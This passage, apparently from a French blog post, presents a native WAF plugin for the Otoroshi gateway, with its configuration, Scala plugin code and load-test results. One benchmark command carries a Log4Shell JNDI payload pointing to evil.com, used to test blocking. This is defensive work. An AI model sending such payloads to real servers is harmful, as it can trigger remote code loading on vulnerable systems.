&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  inspectInputBody&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  inspectOutputBody&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  inputBodyLimit&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Long&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; None&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  outputBodyLimit&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Long&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; None&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  outputBodyMimetypes&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Seq&lt;/span&gt;&lt;span&gt;.empty,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Seq&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Seq&lt;/span&gt;&lt;span&gt;.empty&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exemple de configuration :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;id&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;waf-config_production&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;name&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Production WAF&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;block&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;inspect_input_body&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;inspect_output_body&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;input_body_limit&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1048576&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;output_body_limit&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1048576&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;output_body_mimetypes&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;&quot;text/html&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;rules&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;@import_preset crs&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;SecRuleRemoveById 942100&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;SecRuleEngine On&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;le-plugin&quot;&gt;Le plugin&lt;/h3&gt;
&lt;p&gt;Le plugin s’insère dans le pipeline requête/réponse d’Otoroshi :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt; CloudApimWaf&lt;/span&gt;&lt;span&gt; extends&lt;/span&gt;&lt;span&gt; NgRequestTransformer&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; transformRequest&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;NgTransformerRequestContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Future&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Either&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Result&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;NgPluginHttpRequest&lt;/span&gt;&lt;span&gt;]] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; wafConfig&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; getConfig(ctx)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ext.factory.engine(wafConfig.rules.toList)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; requestCtx&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; buildRequestContext(ctx.request, ctx.body)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; engine.evaluate(requestCtx, &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        ctx.otoroshiRequest.rightf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; wafConfig.block &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        emitEvent(result, ctx)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        Results&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Status&lt;/span&gt;&lt;span&gt;(status)(buildErrorResponse(msg, ruleId)).leftf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(_, _, _) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        // Monitor mode - log but don&apos;t block&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        emitEvent(result, ctx)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        ctx.otoroshiRequest.rightf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; transformResponse&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;NgTransformerResponseContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Future&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Either&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Result&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;NgPluginHttpResponse&lt;/span&gt;&lt;span&gt;]] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    // Similar logic for response phases (3, 4, 5)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;performances&quot;&gt;Performances&lt;/h2&gt;
&lt;p&gt;Après toutes les optimisations, voici comment l’implémentation native se compare à notre précédente solution basée sur WASM :&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Métrique&lt;/th&gt;
&lt;th&gt;WASM (Coraza)&lt;/th&gt;
&lt;th&gt;Natif (seclang-engine)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mémoire par configuration&lt;/td&gt;
&lt;td&gt;~20 Mo/instance&lt;/td&gt;
&lt;td&gt;~20 Ko/instance + ~2 Mo (CRS partagé)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modèle de concurrence&lt;/td&gt;
&lt;td&gt;Plusieurs VM nécessaires&lt;/td&gt;
&lt;td&gt;Un moteur par requête, une seule instance par config., thread-safe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Partage des règles&lt;/td&gt;
&lt;td&gt;Aucun (dupliquées dans chaque VM)&lt;/td&gt;
&lt;td&gt;Partage complet via les presets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coût de sérialisation&lt;/td&gt;
&lt;td&gt;JVM ↔ WASM à chaque requête&lt;/td&gt;
&lt;td&gt;Nul (objets natifs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Temps de démarrage&lt;/td&gt;
&lt;td&gt;~1 500 ms par VM&lt;/td&gt;
&lt;td&gt;~800 ms, une seule fois, pour parser et compiler le CRS + ~10 ms par config. non mise en cache&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Et voici les chiffres bruts :&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Métrique&lt;/th&gt;
&lt;th&gt;Valeur&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Évaluation du CRS sur une requête/réponse légitime&lt;/td&gt;
&lt;td&gt;environ 8 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Évaluation du CRS sur une requête suspecte&lt;/td&gt;
&lt;td&gt;environ 3 ms pour une attaque Log4Shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compilation des regex&lt;/td&gt;
&lt;td&gt;Mise en cache, réutilisation sans coût&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Par rapport à notre configuration basée sur WASM, le moteur natif :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;consomme environ 1 000 fois moins de mémoire par configuration,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;supprime le coût de sérialisation,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;passe naturellement à l’échelle avec les threads de la JVM,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;permet un véritable multi-tenant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voici un test typique, lancé sur mon MacBook Pro début 2024 (M3 Pro), avec &lt;code&gt;oha&lt;/code&gt; et une requête légitime, à 500 appels/s pendant 1 minute :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;sh&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; oha&lt;/span&gt;&lt;span&gt; -q&lt;/span&gt;&lt;span&gt; 500&lt;/span&gt;&lt;span&gt; -c&lt;/span&gt;&lt;span&gt; 200&lt;/span&gt;&lt;span&gt; -z&lt;/span&gt;&lt;span&gt; 1m&lt;/span&gt;&lt;span&gt; http://cawaf.oto.tools:9999&lt;/span&gt;&lt;span&gt; -H&lt;/span&gt;&lt;span&gt; &apos;apk: foo&apos;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Summary:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Success&lt;/span&gt;&lt;span&gt; rate:&lt;/span&gt;&lt;span&gt;	100.00%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total:&lt;/span&gt;&lt;span&gt;	60004.7775&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Slowest:&lt;/span&gt;&lt;span&gt;	26.1541&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Fastest:&lt;/span&gt;&lt;span&gt;	2.2883&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Average:&lt;/span&gt;&lt;span&gt;	2.9967&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Requests/sec:&lt;/span&gt;&lt;span&gt;	500.0102&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total&lt;/span&gt;&lt;span&gt; data:&lt;/span&gt;&lt;span&gt;	175.78&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/request:&lt;/span&gt;&lt;span&gt;	6&lt;/span&gt;&lt;span&gt; B&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/sec:&lt;/span&gt;&lt;span&gt;	2.93&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; histogram:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   2.288&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   4.675&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [28740] &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   7.061&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [961]   &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;■&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   9.448&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [221]   &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  11.835&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [41]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  14.221&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [17]    &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  16.608&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [9]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  18.994&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [2]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  21.381&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [3]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  23.768&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [3]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  26.154&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  10.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.4673&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  25.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.5795&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  50.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 2.7420&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  75.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 3.0413&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  90.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 3.6479&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  95.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 4.4046&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.00%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 7.0370&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.90%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 12.2985&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  99.99%&lt;/span&gt;&lt;span&gt; in&lt;/span&gt;&lt;span&gt; 23.6878&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Details&lt;/span&gt;&lt;span&gt; (average, &lt;/span&gt;&lt;span&gt;fastest,&lt;/span&gt;&lt;span&gt; slowest&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS+dialup:&lt;/span&gt;&lt;span&gt;	0.2206&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.1046&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 1.5284&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  DNS-lookup:&lt;/span&gt;&lt;span&gt;	0.0247&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.0045&lt;/span&gt;&lt;span&gt; ms,&lt;/span&gt;&lt;span&gt; 0.4549&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Status&lt;/span&gt;&lt;span&gt; code&lt;/span&gt;&lt;span&gt; distribution:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  [200] &lt;/span&gt;&lt;span&gt;29999&lt;/span&gt;&lt;span&gt; responses&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Et maintenant, le même test avec une requête contenant une attaque Log4Shell :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;sh&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; oha&lt;/span&gt;&lt;span&gt; -q&lt;/span&gt;&lt;span&gt; 500&lt;/span&gt;&lt;span&gt; -c&lt;/span&gt;&lt;span&gt; 200&lt;/span&gt;&lt;span&gt; -z&lt;/span&gt;&lt;span&gt; 1m&lt;/span&gt;&lt;span&gt; http://cawaf.oto.tools:9999&lt;/span&gt;&lt;span&gt; -H&lt;/span&gt;&lt;span&gt; &apos;apk: ${jndi:ldap://evil.com/a}&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Summary:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Success&lt;/span&gt;&lt;span&gt; rate:&lt;/span&gt;&lt;span&gt; 100.00%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total:&lt;/span&gt;&lt;span&gt;  60003.4310&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Slowest:&lt;/span&gt;&lt;span&gt;  43.2109&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Fastest:&lt;/span&gt;&lt;span&gt;  1.9636&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Average:&lt;/span&gt;&lt;span&gt;  9.6649&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Requests/sec:&lt;/span&gt;&lt;span&gt; 499.9881&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Total&lt;/span&gt;&lt;span&gt; data:&lt;/span&gt;&lt;span&gt; 615.21&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/request:&lt;/span&gt;&lt;span&gt; 21&lt;/span&gt;&lt;span&gt; B&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Size/sec:&lt;/span&gt;&lt;span&gt; 10.25&lt;/span&gt;&lt;span&gt; KiB&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Response&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;span&gt; histogram:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    1.964&lt;/span&gt;&lt;span&gt; ms&lt;/span&gt;&lt;span&gt; [1]     &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
